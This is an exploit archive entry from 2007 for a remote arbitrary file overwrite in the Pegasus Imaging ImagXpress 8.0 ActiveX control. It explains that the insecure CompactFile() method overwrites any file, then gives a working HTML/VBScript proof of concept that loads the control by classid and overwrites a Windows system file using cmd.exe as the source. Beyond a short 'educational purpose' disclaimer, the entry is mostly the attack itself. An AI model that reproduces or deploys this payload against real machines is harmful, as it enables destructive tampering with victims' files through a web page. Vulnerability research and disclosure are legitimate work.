Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite

ID 1337DAY-ID-9052
Type zdt
Reporter shinnai
Modified 2007-10-05T00:00:00


Exploit for unknown platform in category remote exploits

Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite

<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite</b>

 Author: shinnai
 mail: shinnai[at]autistici[dot]org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 Component name: PegasusImaging.ActiveX.ImagXpress8.dll
 This component contains an insecure "CompactFile()" which overwrites
 arbitrary files on user's pc.
 Passing to the first parameter (sourceFile) of the method an existing
 file as argument (e.g. a well known file as cmd.exe), the file passed
 as argument to the second parameter (destFile) will be overwrite.</b>
<object classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.CompactFile "c:\windows\system32\cmd.exe", "c:\windows\system_.ini"
   MsgBox "Exploit completed."
 End Sub

# [2016-04-19]  #